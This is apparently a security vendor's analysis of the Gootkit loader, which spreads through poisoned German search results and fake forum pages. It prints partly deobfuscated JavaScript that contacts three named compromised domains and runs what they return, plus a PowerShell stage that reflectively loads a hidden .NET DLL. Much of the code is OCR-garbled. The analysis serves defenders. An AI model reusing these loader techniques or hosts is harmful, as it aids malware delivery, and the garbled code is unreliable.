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Gootkit has been tied to Cobalt Strike as well as other ransomware attacks in the past. Some
of these recent victims later suffered SunCrypt ransomware attacks, although it is unclear if
this was because of the Gootkit threat actor or if access was sold to other threat actors.
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Since October 2020, we saw an increase in the number of Gootkit cases targeting users in
Germany. We investigated this development and found that the Gootkit loader was now
capable of sophisticated behavior that enabled it to surreptitiously load itself onto an affected
system and make analysis and detection more difficult.

This capability was used to deploy a DLL file. Gootkit has, in the past, been tied to Cobalt
Strike as well as other ransomware attacks. Some of these recent victims later suffered
SunCrypt ransomware attacks, although it is unclear if this was because of the Gootkit threat
actor or if access was sold to other threat actors. We've also discovered in recent weeks that
the Gootkit loader is being used in combination with REvil/Sodinokibi ransomware.

Infection vector: Malicious search engine results

In the cases we saw, the Gootkit loader initially arrives via a ZIP archive downloaded from a
website. These malicious websites can be found in malicious search engine results, like this:
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Flhlen Sie sich wie ein echter Fussballmanager Aber was fir ein Manager waren 5ie? Ein

Mourinho-Stil, der sich immer an der Presse versucht? Ein Klopp-Siil, ...
Figure 1. Malicious search engine results
In this particular instance, fifa manager kostenlos can be translated as fifa manager free.
Note that the search term used can vary significantly; we just used this search term as an
example. We have encountered other cases where the search terms were Aldi Talk postident

coupon and Control Center 4 download.

Clicking the link leads to a page on a legitimate site; however, the site has been
compromised and used to host a malicious page. The aforementioned page looks legitimate:

« > C 0 © @ htws://www.phdavelopers cam fifa- manager-13-kostenios-downloaden-volversan B - @ "noe

QUESTIONS AND ANSWERS

Questions News Search About Us

fifa manager 13 kostenlos downloaden vollversion?

Talentfrei Hallo, ich méchte fifa manager 13 kostenlos downloaden vollversion. Ein Freund meinte, er hitte es in eurem Forum

gesehen. Ich ware echt dankbar fir einen Tipp.

Registrierter Nutzer

Admin Hier ist der direkte Download-Link, fifa manager 13 kostenlos downloaden vollversion.

Administrator

Talentfrei Danke fur die Antwort! Genau wonach ich gesucht habe.
Y
Figure 2. Malicious page
It is meant to look like a legitimate forum, with a post containing a link to a file relevant to the
search engine query. This particular link is more sophisticated than it looks, however.
Attempting to redownload the same file from the same URL from the same host/machine

2/10



fails; however, doing so from a different one succeeds, but the downloaded file has a
different hash than the original file. This suggests that the server generates this file as it is
needed, uniquely for each download attempt.

Analysis of the downloaded file

The downloaded file is a ZIP file that contains a heavily encoded JS file (which shares the
same filename as the ZIP file, save for the extension). We were able to use JSNice to
produce human-readable code:

strice';

® @return {undefined}
=/
function sd66() {
N34 = a2196{Ws31) .split(NUS9) :
H
MTFL(0, "hwTET);
SM3S(1, "iemf"):

* @return {undefined)

=/
function PT31{) {

Nm34 [$u97] (N3 4 [Lt78] } (N34 [LE78]) ;

function yg26{canCreateDiscussions) {
return canCreatelDiscussions % (Lt78 + Lt78);

* @param {st
* @return {?)
®/
function bk88{formatters, custowFormatters) {
return formatters + customFormatters;

3

* @param {number} addedRenderer
* @return {undefined}
=/
function MT71{addedRenderer) {
/=% Brype (string) */
¥s31 = ' +SDOMNY\gODEIMR"3Y Y\ EA+ (ST £7NUOBS 2\ \ "™\ \\e”) , d( ns!0ig=).n }1i"=\4r1=5tI-USz18t ()En{ Re {Dmf NniWSo SDr:cOitrMvxilnepIETtNde. inss"a\\lnp)eox epE{ps.O
/=% Boype {mumber} =/
RIG698 = addedRenderer:
¥

* @return {undefined}
wf

function tnlS{) {
Nm34[Su97] = MT71[Nm34[RI6698]] :
¥

frw

* @naram {arrinml tune

Figure 3. Deobfuscated code
Of interest here is the function “MT71,” which contains a variable with very long content.
Trying to run the script with online runtimes such as at Ideone fails with the following error:
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ReferenceError: WScript is not defined
at eval (eval at PT31 (/home/tDVULX/prog.js:4:28), <anonymous>:3:16)
at PT31 (/home/tDVULX/prog.js:4:49)
at Object.<anonymous> (/home/tDVULX/prog.js:15:1)
at Module._compile (internal/modules/cjs/loader.)s:799:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:810:10)
at Module.load (internal/modules/cjs/loader.js:666:32)
at tryModuleLoad (internal/modules/cjs/loader.)s:606:12)
at Function.Module._load (internal/modules/cjs/loader.js:598:3)
at Function.Module.runMain (internal/modules/cjs/loader.js:862:12)
at internal/main/run_main_module.js:21:11

Figure 4. Error message
What becomes apparent through the error is what the WScript.Shell object is trying to do:

eiwgwonog=3770;
kb53 = WScript.CreateObject("WScript.Shell”);
jpB2 = “HKEY_CURRENT_USER\\SOFTWARE\\nTpm\\";
try
{
kb53.RegRead( jp82);
} catch(e)
{

kb53.RegWrite(jp82, . "REG_SZ");
bES@=32;

mFHL=bES®;

DoB4 = “WQaMjt";

for (1 = 8;1 < 15@515; i++)
{

DoB4=DoB4+1;

DoB4. index0f (“amAQfSd™) ;
}
Nm34 [19-16] (s196( '+0\"g=1p3z, f ifsaslosqer)c;n hMgDg@775\".+s\'epnhdp(.}h;c rlaceast/c\'h+(1e3)2{7 6rdent[u7r2nI Qf+a\'l/s/e:;s ptt tihf\' (,M\'DT7ESG.\ 's(
tnaetpuos. 5=7=D=M 2{@yér)t {} ;v\"abr4 1z8I7121\" +=3 1MgD07=53.1rge0s{p o)n\"s%eNTIeAxMt0O;D SINTD R{E(SzUI%1\"1 .=i!n d)e\"xWONTI(
A\"M@0\"D+SO0NgDIRIE+S\"U@s\"\", [ s@g)n)i=r=t-51t)n e{m nWoSrcirvinpEtd.nsalpexeEp.()2\"21212e2h)5;. t}p ierlcsSeWw \"{( tzcIeljlb O=e
tzalelrlC..rteppilraccSew((\" @f\"i+ 0;g)1033++\"0@7\",,2\"(\"1)\";r tvsabru sv\"a[6)7( g=n izrItlSlo.tr.e)p(imaocden(a/r(.\\hdt{a2M} )=/ g3,1 gfou n;c)
T\ "iPoTnT H{LKMTX4rde)v r{e Sr,e2tLuMrXns MS\'t({rticnegj.bfOrectmaCehraCr.Ctopdier(cpSawr s=e ISn7tD(MK T{4 4),31 @<) +33207)6;d n}{) ;e WNimh3wd [;30] (=v

Figure 5. Partially deobfucated and beautified code

A new object is created (“WScript.Shell”), which tries to read the registry key
‘HKCU\SOFTWARE\nTpm\”. In case this registry key does not exist, it performs the following
actions:

o A key with an empty value will be written at HKCU\SOFTWARE\nTpm
e The value of “bE50” will be set to 32

If the key already exists, the execution of the script will fail since “bES50” is not set. It
becomes clear that this key is being used as a marker to check if the initial loader was
already executed on an infected host.

To sandbox this script, we used malware-jail from HynekPetrak. A line had to be added to
define the variable of bE5S0 as 32; otherwise, the script will fail (due to the requirement of
accessing the registry key).
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BESD = 32;

Iunctlun|sd55{} {Nm3id4 = 2196(Wa231l).=2plic{NUS9) ;}

MT71(0, " TE") 2

SM3IS( 1, "iemE") ;

function PT31{} {Nm34[3uf7]{Nm34[Lt78] ) {Nm34[Lt78]):}

NUBS="h=Fe S h™}

function yg2e{ge70) {return ge70 % (Lt7S+Lt7V8) 1}

ade6e( "TIME™) 2

tnlS{575)

function bkE88{gH27 ,2F66) [ return gHZ7+3F&6: }
—function MT71{KJG61){

We3l = '+SDOY "IN gODE 1HRY "3V EA+(STVV Y "NUOB =203 ™ ™3 el "), a1 ne!0ig=).n )11 "= rl=3tI-USz1st

i

RIGEIE=KIGL;}

function tnls{) {Nm34[5u97] = MT71[Mm33[RIGE9S5]] 1}
function cR24(Ced45,D828) {return Ced4S.charic{DS28):}
PT31(51):

function s196{0070) {(gI6l='':CK64=RIGE9E while (CEG4 < Pd3) {zg7l=cR24({0070,CK64,0070) :if (yq26(CKEG4

—function SHIQ{dP73){
Lt 78=dP73;
Su97=LtTa8+dPTI AL 7E+APTI ;
Pd3=2311:}

Figure 6. Modified script
The following command was then used to run the JS file in the jail:

| node jailme.js -c ./config_wscript_only.json --t404 tr_input/fifa.js tr_output/test -o
tr_output/fifa_out.json --trace

This command would return a 404 error whenever the Javascript file sends a request upon
execution. It created the following output files:

=11

= {
"url®™: "https://wev.adpm.com.brfsearch. php ?gghnecrgossifzp=2990060552 6827626,
"method": "GET"

-1
Figure 7. Contents of testurls.json, showing URLs that the malicious code tried to access
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"zd66™: "function =2d66() {Nm34 = =196 (Wa3l).splic(NUa9):}",

"PT31™: "functiom PTIL() {(Nm34[5u97] (Mm34[Lc78]) (Mm34[Lc78]):}",

Pyg26™: "function yg2é(geT0) {return ge70 % (Lt7B+LEtT7B);:}"™,

"bk&8": "function bk8& (gH27,sF66) { return gHZ7+sF66; 3",

"MTT1M: "function MTT7L(KJG1) {(\r\nW=3l = "+SDOYAN"HAAA A QODE MRS "INV ERE (ST ENV N PUO0E £ 524 W% 4 40 ™40
"tnld™: "function tnl8() {(Nm34[35u97] = AT71[Nm34[RIG698B]]:}",

"eRZ4™: "function cR24 (Ced45,D228) {recurn CedS5.chardt (D328):)"™,

"s196%: "function s196(0070) {qlél='';CKé4=RIG65E8:while (CKé4 < Pd3) {=zq7l=cRz4(0070,CKé4,0070);:1if (yg2
PSMISY: "function SHI9(AP73) (AE\ALtTE=dP73:\E\nSudT=Lt784+dP7I*LeT8+dPTI:\r\ nPdA3=2311;}",

"hESO™: 3Z,

PWs3I1™: T+3DOA NN\ @ODRIMBY PINVAEAH (SIVVEVPNUORS 5™V e ™) ,d ns!'Odig=).n ) 1iV"=\\ril=%cI-USz13c()En
"RIG698": .

"LETE™: 1,
PEU9TE: 3,
mpd3M; 2311,

"NUS3™: "haKejSih",
Pglel™: "QIZT = [\ "www.adpm.com.be) "\ "windowp.oegh ™, \"vww.ai-tech.paris\ "] ndE723 = 0; while (nd6723
"CKG4™: 2311,
TEgT1T: T,
"Nm3a~: [
"constructor®,
"eiwguonog=3770;kbS3 = WScript.CreateObject (\"WScript.Shell}™):; jp82 = \"HEEY CURRENT USERY\\\SOFTU
nall, b -
" _orig_Funccion®
1,
TeiwgwonogT: 3770,
"kb337: {
"iref™: "§[\"_wscript_objects\"][0]"
by
"jp82™: "HKEY CURRENT USER\\SOFTWARE)\nTpmii*,
"mFHL"™: 32,
"ho84™: "T0aMjt0123456789101112131415161718192021222324252627282930313233343536373839404142434445464748
"i": 150515
rQIZ7™: [
"uww, adpm.com.br™,

Figure 8. Partial contents of fifa_out.json; contains some interesting artifacts
Looking at the output JSON file shows that the variable “ql27” is an array of three domains:

L

e www.adpm.com[.]br
e windowpl.]Jorg
o www.ai-tech[.]Jparis

Converting the whole line of “ql61” into a readable format reveals the following code block:
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QI27 = ["www.adpm.com.br","windowp.org"”,"vww.ai-tech.paris"];
ndé7z3 =
[Hwhile (nd6723 < 2) {
HD75 = WScript.CreateCbjectc(' MSXINLZ.ServerXMLHTTE'):
Ogl3 = Math.random().toString{) ["=ul Y2, T0+30) ;2
E if {UScript.CreateCbject{"WScript.Shell") . . ExpandEnvironmentStrings{">USERDNIDOMATNE™) 1= M"LZUSERDNSDOMATN:™) {
Ogl3=0g13+"278146"

r o}
H try{
MD75.o0pen{ 'GET', 'https://'4QIZ27[nd6723]+ ' /search.php'+"?gghnergossifzp="4+0gl3, false):
MD75.send() ;
jcatchie){
return false:

1
if {MD75.status === 10)

=
var zI1ll = MD75.responseText:;
if ((zI1ll.indexOf£{"["+0gl3+"(™, 0))===1)
= {
MSeript.sleepd y:
1 else {
zI11 = zIll.replace{ " "+0gl3+"E", 7"y ;
var vat? = zlll.replace{/fi\\d{2})/y, function (KT44) { return String.fromCharCode{parseInt{KT44, 103+:0); }):
Nm34[ ] (vas?)():
WScript.Quit()
- H
} else {
W3cript.sleep( )i
o}
nd6723++
}
Figure 9. Contents of the line ql61, showing the connection attempts to one of the three
destination domains sequentially
The snippet defines the following flow, running the following code against at least one of the

URLSs stored in QI27:

1. “Og13” will be set to a random number after the point with a maximum length of 100
2. The local user’s DNS domain is queried
1. if the machine is joined to a domain, “Og13” will have 278146 added at the end
3. A web request to the URL selected in step 1 will be initiated, using sub-parameters
1. search.php?gghncrqossifzp={the number in the variable of Og13}
4. It checks for the return code of the web request a. if not 200 (okay), the script goes to
sleep and then tries the next URL.
5. If the web request is 200 (answer received), it stores the response in variable “zI11”
6. It checks whether the response text from the server contains the “Og13” value
1. If it does not, it goes to sleep and then tries the next URL.
7. If the value is in the response, it removes the “Og13” value from “zI11”
8. It replaces a double-digit number in brackets, e.g. (12), with a response from a function
using the variable “KT44”, which is unknown at this stage.
9. It then calls another function “Nm34” (also currently unknown), passing the new “va67”
variable on.

With the above information, we now know that this loader makes a difference between
domain and non-domain hosts (by adding “278146” at the end of the search parameter).

We can change environmental variables via the wscript.js file. As the malicious script is
looking for the environmental variable “UserDNSDomain,” this was added to the
configuration; we also changed the default username:
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}:

Figure 10. Modified script
Rerunning the script — after changing the wscript.js parameter to provide a domain —
reveals the request of the following URL.:

It

"url™: "https://wwW.adom.com.br/search.php?gaghnergossifzp=6928499661990181278146"™,

"method™: "GETI"

]
Figure 11. Requested URL

Based on this observation, we can now run jailme.js without the --t404 option, but with the --
down=y option. This allowed us to send the queries and download any requested files. By
default, the jailme.js will stop executing the script after 60 seconds. The result of the queried
URL now includes all three identified domains, shown below and including the responses:

3:03:00 GMT\*,\"server\”:\"Apache\", | "x-powered-by\ " :\ "PHE/S. 6. 40\ ", \ "upgrade\ = :\ Ji3JHEE" ", \ "connection\ "\ *Upgrade, close\®,\*cache-cont

Figure 12. URLs and responses

While we received HTTP 200 responses, none of these included the random strings needed
for the script to proceed. This was true using both samples we received. We are unsure why
this is the case; all we can say for sure is that the servers are currently not providing the files
to be downloaded by Gootkit if they are analyzed in this manner.

Registry Analysis

We can use the presence of registry keys known to Gootkit to test if it has been deployed on
an affected system.

On test machines, we were able to verify that the created registry entries were present:
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Fi SOTONdIE 0} LT AAFII-LI IR 3550
[F= aabcdechdf 172 0 2020-11-12 17:32:29
¥ |~ AppDatalow i} 1 2020-11-12 10:01:35
[ brru 1 0| 2020-11-12 17:31:47
St —
b [F Microsoft 0 46 2020-11-12 17:25:50
Mine L 0| 020-11-12 10:01: 33
¥ [T Mozilla V] 1| 2020-11-12 13:53:36
== Policies 0. 2 M0A-11-12 10-01-34
[ - - - =
= 3 TS | vaue Name |valu... | Data |v... [1s... [Data Record Realocated
Run 1 0 2020-11-12 17:32:29 ¥ | "0 edc WD m] n
¥ [ Soeensavers 0 4 2020-11-12 10:01:33 » | asbedechdf | RegSz | C:\Windows\SyswOWe4\WindowsPowerShellv1.0\powers. . | ]
» = BetingSync 1 1 2020-11-12 10:02:43
» [F= Shel Extensions 0 1 2020-11-12 10:01:35
» = SkyDrive 1 1 2020-11-12 10:00:33
L3 - - - A
4F= CsiTool-CreateHive-{00000000-. 0 10 2020-11-12 10:01:35 e e e
b AppEvents 0 2 2020-11-12 10:01:33 L b 0 0| [m L]
» [ Console 37 2 020-11-12 10:01:33 v | TEMP RegExpandSz  YeUSERPROFILE %%\ApoDataLocal{Temp 0. ]
» = Control Panel 0 13 2020-11-12 10:01:36 ™ RegExpandSz Yl/SERPROFILE%:\AppDataLocalTemp 0
3 0 2020-11-12 17:32:29 asbcdechdf  RegExpandSz | for (8i=0;$i He 500;8i++){Try{$abc=$abc+(Get-Item... 0.
. L] 4 MI0-11:12 10153

» = Console EY 2| 2020-11-12 10:01:33 v | (defaul) RegSz
» = Control Panel 0 13| 2020-11-12 10:01:36 0 RegSz .-
Ervironment 3 0| 2020-11-12 17:32: 9 1 RegSz XAHOAUGBRAESANWENAHY ALABDADAADQBWAHIA . .
¥ [ EUDC 0 4 2020-11-12 10:01:33 2 RegSz VAE4AUGBCADKAW ABYADAAZAASAHKAL wBYADAA
b (5 Kevboard Layout v Sl RS 3 RegSz WADIARQA2AFAAZWEGAEUAMAB ADYALWBXADIAS
= Network 0 0 2020-11-12 17:24:16
- 4 RegSz YAEKALIQBJAFGAQWEL AHCACQBUAFKAMGBKADEAM.
[ Prnters 0 1| 2020-11-12 10:01:35
5 RegSz VADYAZABXAEGAYGEYAEMASAAZAFLARABUADUAS
4~ Software 0 13| 2020-11-12 17:32:28
~ asbedecbdi = B 6 Regsz VAFTAZOBEAGLAZAASAFAALWBNAGQAMABAGOAE .. .
» E= AppDatatow 0 1] 2020 1112 10:00:35 7 RegSz wAHKAZGBtAFUACQASAE4AdGAYAGLIARAAVAEDAS,
beril 1 0| 2020-11-12 17:31:47 8 RegSz |AHAAOABMADGABQBGAELANGA LAFQAYQAZAHIAS . ..
» = Microsoft ] 46 2020-11-12 17:25:50 ] RegSz D L ADCARQBEAE: QAUQBIACBAZ . ...
Mine 1 0| 2020-11-12 10:01:33 10 Regsz DAFYATWEMADAATCA SADY ASQBEAECABABIAEDAT .
+ [ Mozila 0 1 2020-11-12 13:53:36 1 RegSz aAECAVABQAGIATgAwAHOATGEZAHKAJABGAGQAM. . ..
P G Polides g AL L IR0 12 A 12 RegSz JAFAATWArAFEACGA2ADKARGBT AEEAYQBSADIASA
P (R tProject 2 L 13 RegSz NAGOASQBIACSACWESADIACOArADUAWGBZAFAASA
== RegisteredAppications 18 0| 2020-11-12 10:01:53
14 RegSz AEE gAYAFMALCH A
b = Sysintemals 0 3 020-11-12 17:19:38
— . 1S RenSy 1AFwaAaAraAC <A\ A Ay ACRAhWANAFKANN A ACRAS
\inberrale n 1M1 wnenewn L T T LS

Figljres 13 - 16. Created registry keys
The registry values in the last key can be merged into a PowerShell script:

$Command =[System.Text.Encoding]: :Unicode.GetString([System.Convert]: :FromBase64String(\"JABFAG4AQwWB [..J\"));
Invoke-Expression $Command;
Start-Sleep -s 22222;"

Figure 17. PowerShell script
Most of this script is encoded; decoding it results in the following:

$EnCoFi = @'7LOLdGvZeR62yXsvecn[..]'@

$DefSt = New-Object
10.Compression.DeflateStream([I0.MemoryStream][Convert]::FromBase64String($EnCoFi), [I0.Compression.CompressionMode]
: :Decompress)

$UnFiBy = New-Object Byte[](587776)
$DefSt.Read($UnFiBy, ©, 587776) | Out-Null

[Reflection.Assembly]: :Load ($UnFiBy)
[Test]::Installl()

Figure 18. Decoded code
This code is, by default, loaded into memory. If this code is instead saved to a file, this turns
out to be a .NET DLL file. (This particular file is detected as Trojan.Win32.DELF.WLDT).
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Opening this particular file in a .NET decompiler shows that it also contains more encoded
code. Using a similar technique to dump the contents into a file reveals that this is also an
executable file. This one is detected as Trojan.Win32.MALREP.THJBGBO, which we believe
is the payload that this loader delivered to the affected system.

Conclusions and Trend Micro solutions

This particular threat highlights the sophistication of today’s malware-delivering loaders. In a
system without any security solutions enabled, there would be barely any sign of the
infection, making analysis and removal more difficult.

With the appropriate Trend Micro solutions, the user would have been protected from this
threat. Deep Discovery Analyzer would have proactively detected the script as a backdoor
and classified it as malicious; Apex One would also have been capable of blocking the threat
once it was executed.
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